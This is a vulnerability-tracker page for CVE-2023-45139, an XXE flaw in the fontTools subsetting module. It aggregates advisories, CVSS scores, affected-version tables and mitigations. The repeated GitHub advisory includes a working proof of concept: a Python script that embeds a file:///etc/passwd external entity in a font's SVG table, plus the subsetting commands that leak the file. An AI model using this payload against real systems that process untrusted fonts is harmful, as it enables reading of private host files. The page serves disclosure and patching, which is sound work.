CVE-2023-45139
fonttools XML External Entity Injection (XXE) Vulnerability
fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.5
fonttools XML External Entity Injection (XXE) Vulnerability
fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.
- Record
CVE-2023-45139- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-611
- Updated
- 2026-11-02
EUVDEUVD-2024-0267
7.5
fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.
- Record
EUVD-2024-0267- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-6673-4983-2vx5
7.5
fonttools XML External Entity Injection (XXE) Vulnerability
Summary
As of fonttools>=4.28.2 the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed.
This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system.
PoC
The vulnerability can be reproduced following the bellow steps on a unix based system.
- Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised
/etc/passwdfor our POC file to include and modified an existing subset integration test to build the POC font - see bellow.
from string import ascii_letters
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
from fontTools.ttLib import newTable
XXE_SVG = """\
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="glyph1">
<text font-size="10" x="0" y="10">&test;</text>
</g>
</svg>
"""
def main():
# generate a random TTF font with an SVG table
glyph_order = [".notdef"] + list(ascii_letters)
pen = TTGlyphPen(glyphSet=None)
pen.moveTo((0, 0))
pen.lineTo((0, 500))
pen.lineTo((500, 500))
pen.lineTo((500, 0))
pen.closePath()
glyph = pen.glyph()
glyphs = {g: glyph for g in glyph_order}
fb = FontBuilder(unitsPerEm=1024, isTTF=True)
fb.setupGlyphOrder(glyph_order)
fb.setupCharacterMap({ord(c): c for c in ascii_letters})
fb.setupGlyf(glyphs)
fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order})
fb.setupHorizontalHeader()
fb.setupOS2()
fb.setupPost()
fb.setupNameTable({"familyName": "TestSVG", "styleName": "Regular"})
svg_table = newTable("SVG ")
svg_table.docList = [
(XXE_SVG, 1, 12)
]
fb.font["SVG "] = svg_table
fb.font.save('poc-payload.ttf')
if __name__ == '__main__':
main()
- Subset the font with an affected version of fontTools - we tested on
fonttools==4.42.1andfonttools==4.28.2- using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process):
pyftsubset poc-payload.ttf --output-file="poc-payload.subset.ttf" --unicodes="*" --ignore-missing-glyphs
- Read the parsed SVG table in the subsetted font:
ttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx
Observed the included contents of the /etc/passwd file.
Impact
Note the final severity is dependant on the environment fontTools is running in.
- The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on
Possible Mitigations
There may be other ways to mitigate the issue, but some suggestions:
- Set the
resolve_entities=Falseflag on parsing methods - Consider further methods of disallowing doctype declarations
- Consider recursive regex matching
- Record
GHSA-6673-4983-2vx5- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-611
- Updated
- 2026-11-02
NVD
7.5
fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.
- Record
CVE-2023-45139- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-611
- Updated
- 2026-11-02
OSV
7.5
fonttools XML External Entity Injection (XXE) Vulnerability
fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.
- Record
CVE-2023-45139- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-611
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2023-45139
7.5
fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.
- Record
DEBIAN-CVE-2023-45139- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
Show 8 moreShow less
OSVGHSA-6673-4983-2vx5
7.5
fonttools XML External Entity Injection (XXE) Vulnerability
Summary
As of fonttools>=4.28.2 the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed.
This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system.
PoC
The vulnerability can be reproduced following the bellow steps on a unix based system.
- Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised
/etc/passwdfor our POC file to include and modified an existing subset integration test to build the POC font - see bellow.
from string import ascii_letters
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
from fontTools.ttLib import newTable
XXE_SVG = """\
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="glyph1">
<text font-size="10" x="0" y="10">&test;</text>
</g>
</svg>
"""
def main():
# generate a random TTF font with an SVG table
glyph_order = [".notdef"] + list(ascii_letters)
pen = TTGlyphPen(glyphSet=None)
pen.moveTo((0, 0))
pen.lineTo((0, 500))
pen.lineTo((500, 500))
pen.lineTo((500, 0))
pen.closePath()
glyph = pen.glyph()
glyphs = {g: glyph for g in glyph_order}
fb = FontBuilder(unitsPerEm=1024, isTTF=True)
fb.setupGlyphOrder(glyph_order)
fb.setupCharacterMap({ord(c): c for c in ascii_letters})
fb.setupGlyf(glyphs)
fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order})
fb.setupHorizontalHeader()
fb.setupOS2()
fb.setupPost()
fb.setupNameTable({"familyName": "TestSVG", "styleName": "Regular"})
svg_table = newTable("SVG ")
svg_table.docList = [
(XXE_SVG, 1, 12)
]
fb.font["SVG "] = svg_table
fb.font.save('poc-payload.ttf')
if __name__ == '__main__':
main()
- Subset the font with an affected version of fontTools - we tested on
fonttools==4.42.1andfonttools==4.28.2- using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process):
pyftsubset poc-payload.ttf --output-file="poc-payload.subset.ttf" --unicodes="*" --ignore-missing-glyphs
- Read the parsed SVG table in the subsetted font:
ttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx
Observed the included contents of the /etc/passwd file.
Impact
Note the final severity is dependant on the environment fontTools is running in.
- The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on
Possible Mitigations
There may be other ways to mitigate the issue, but some suggestions:
- Set the
resolve_entities=Falseflag on parsing methods - Consider further methods of disallowing doctype declarations
- Consider recursive regex matching
- Record
GHSA-6673-4983-2vx5- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-611
- Updated
- 2026-11-02
OSVOESA-2024-1080
7.5
python-fonttools security update
FontTools is a library for manipulating fonts, written in Python. The project includes the TTX tool, that can convert TrueType and OpenType fonts to and from an XML text format, which is also called TTX. It supports TrueType, OpenType, AFM and to an extent Type 1 and some Mac-specific formats. The project has an MIT open-source licence.
Security Fix(es):
fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.(CVE-2023-45139)
- Record
OESA-2024-1080- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVPYSEC-2026-1388
7.5
fonttools XML External Entity Injection (XXE) Vulnerability
Summary
As of fonttools>=4.28.2 the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed.
This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system.
PoC
The vulnerability can be reproduced following the bellow steps on a unix based system.
- Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised
/etc/passwdfor our POC file to include and modified an existing subset integration test to build the POC font - see bellow.
from string import ascii_letters
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
from fontTools.ttLib import newTable
XXE_SVG = """\
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="glyph1">
<text font-size="10" x="0" y="10">&test;</text>
</g>
</svg>
"""
def main():
# generate a random TTF font with an SVG table
glyph_order = [".notdef"] + list(ascii_letters)
pen = TTGlyphPen(glyphSet=None)
pen.moveTo((0, 0))
pen.lineTo((0, 500))
pen.lineTo((500, 500))
pen.lineTo((500, 0))
pen.closePath()
glyph = pen.glyph()
glyphs = {g: glyph for g in glyph_order}
fb = FontBuilder(unitsPerEm=1024, isTTF=True)
fb.setupGlyphOrder(glyph_order)
fb.setupCharacterMap({ord(c): c for c in ascii_letters})
fb.setupGlyf(glyphs)
fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order})
fb.setupHorizontalHeader()
fb.setupOS2()
fb.setupPost()
fb.setupNameTable({"familyName": "TestSVG", "styleName": "Regular"})
svg_table = newTable("SVG ")
svg_table.docList = [
(XXE_SVG, 1, 12)
]
fb.font["SVG "] = svg_table
fb.font.save('poc-payload.ttf')
if __name__ == '__main__':
main()
- Subset the font with an affected version of fontTools - we tested on
fonttools==4.42.1andfonttools==4.28.2- using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process):
pyftsubset poc-payload.ttf --output-file="poc-payload.subset.ttf" --unicodes="*" --ignore-missing-glyphs
- Read the parsed SVG table in the subsetted font:
ttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx
Observed the included contents of the /etc/passwd file.
Impact
Note the final severity is dependant on the environment fontTools is running in.
- The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on
Possible Mitigations
There may be other ways to mitigate the issue, but some suggestions:
- Set the
resolve_entities=Falseflag on parsing methods - Consider further methods of disallowing doctype declarations
- Consider recursive regex matching
- Record
PYSEC-2026-1388- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2023-45139
7.5
fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.
- Record
UBUNTU-CVE-2023-45139- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVMGASA-2024-0060 No score
Updated fonttools packages fix security vulnerabilities
As of fonttools>=4.28.2 the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system.
- Record
MGASA-2024-0060- Updated
- 2026-11-02
OSVopenSUSE-SU-2024:13686-1 No score
python310-FontTools-4.47.2-2.1 on GA media
These are all security issues fixed in the python310-FontTools-4.47.2-2.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2024:13686-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11991-1 No score
python313-FontTools-4.62.1-1.3 on GA media
These are all security issues fixed in the python313-FontTools-4.62.1-1.3 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11991-1- Updated
- 2026-11-02
OSVUSN-7917-1 No score
fonttools vulnerabilities
It was discovered that the subsetting module of fontTools was vulnerable to an XML External Entity (XEE) attack. An unauthenticated remote attacker could possibly use this issue to include arbitrary files from the file system or make web requests from the host system. This issue only affected Ubuntu 22.04 LTS. (CVE-2023-45139)
It was discovered that fontTools was vulnerable to path traversal attacks. If a user or automated system were tricked into extracting a specially crafted .designspace file, an attacker could possibly use this issue to write arbitrary files outside the target directory, resulting in remote code execution. This issue only affected Ubuntu 24.04 LTS, Ubuntu 25.04 and Ubuntu 25.10. (CVE-2025-66034)
- Record
USN-7917-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
fonttoolsPyPI |
4.28.2 up to 4.43.0 | 4.43.0 |
fonttoolsDebian:12 |
before 4.38.0-1+deb12u1, plus listed versions 4.38.0-1 |
4.38.0-1+deb12u1 |
fonttoolsDebian:13 |
before 4.46.0-1 | 4.46.0-1 |
fonttoolsDebian:14 |
before 4.46.0-1 | 4.46.0-1 |
fonttoolsPyPI |
4.28.2 up to 4.43.0, plus listed versions 4.28.34.28.44.28.54.29.04.29.1 Show 33 moreShow less4.30.04.31.04.31.14.31.24.32.04.33.04.33.14.33.24.33.34.34.04.34.14.34.24.34.34.34.44.35.04.36.04.37.04.37.14.37.24.37.34.37.44.38.04.38.1.dev04.39.04.39.14.39.24.39.34.39.44.40.04.41.04.41.14.42.04.42.1 |
4.43.0 |
fonttoolsMageia:9 |
before 4.38.0-2.1.mga9 | 4.38.0-2.1.mga9 |
python-fonttoolsopenEuler:22.03-LTS-SP3 |
before fonttools-4.39.4-2.oe2203sp3 | fonttools-4.39.4-2.oe2203sp3 |
fonttoolsUbuntu:Pro:22.04:LTS |
before 4.29.1-2ubuntu0.1~esm1, plus listed versions 4.23.1-14.27.1-14.28.3-14.28.5-14.29.1-14.29.1-2build1 |
4.29.1-2ubuntu0.1~esm1 |
fonttoolsUbuntu:Pro:22.04:LTS From an advisory covering 2 CVEs |
before 4.29.1-2ubuntu0.1~esm1, plus listed versions 4.23.1-14.27.1-14.28.3-14.28.5-14.29.1-14.29.1-2build1 |
4.29.1-2ubuntu0.1~esm1 |
fonttoolsUbuntu:Pro:24.04:LTS From an advisory covering 2 CVEs |
before 4.46.0-1ubuntu0.1~esm1, plus listed versions 4.38.0-1build14.38.0-1build24.46.0-14.46.0-1build2 |
4.46.0-1ubuntu0.1~esm1 |
fonttoolsUbuntu:25.10 From an advisory covering 2 CVEs |
before 4.55.3-2ubuntu0.25.10.1, plus listed versions 4.55.3-2build1 |
4.55.3-2ubuntu0.25.10.1 |
python-FontToolsopenSUSE:Tumbleweed |
before 4.62.1-1.3 | 4.62.1-1.3 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2023-45139 is a high vulnerability (CVSS 7.5) in Fonttools, published January 9, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.23%, the 69th percentile. Fixed in fonttools 4.43.0.
References
github.com/fonttools/fonttools/security/advisories/GHSA-6673-4983-2vx5
github.com/fonttools/fonttools/commit/9f61271dc1ca82ed91f529b130fe5dc5c9bf1f4c
github.com/fonttools/fonttools/releases/tag/4.43.0
lists.fedoraproject.org/archives/list/[email protected]/message/VY63B4SGY4QOQGUXMECRGD6K3YT3GJ75
openwall.com/lists/oss-security/2024/03/09/1
openwall.com/lists/oss-security/2024/03/08/2
Show 14 moreShow less
nvd.nist.gov/vuln/detail/CVE-2023-45139
github.com/advisories/GHSA-6673-4983-2vx5
github.com/CVEProject/cvelistV5/tree/main/cves/2023/45xxx/CVE-2023-45139.json
security-tracker.debian.org/tracker/CVE-2023-45139
github.com/fonttools/fonttools
advisories.mageia.org/MGASA-2024-0060.html
bugs.mageia.org/show_bug.cgi?id=32955
openeuler.org/en/security/safety-bulletin/detail.html?id=openEuler-SA-2024-1080
pypi.org/project/fonttools
ubuntu.com/security/CVE-2023-45139
cve.org/CVERecord?id=CVE-2023-45139
ubuntu.com/security/notices/USN-7917-1
ubuntu.com/security/CVE-2025-66034
suse.com/security/cve/CVE-2023-45139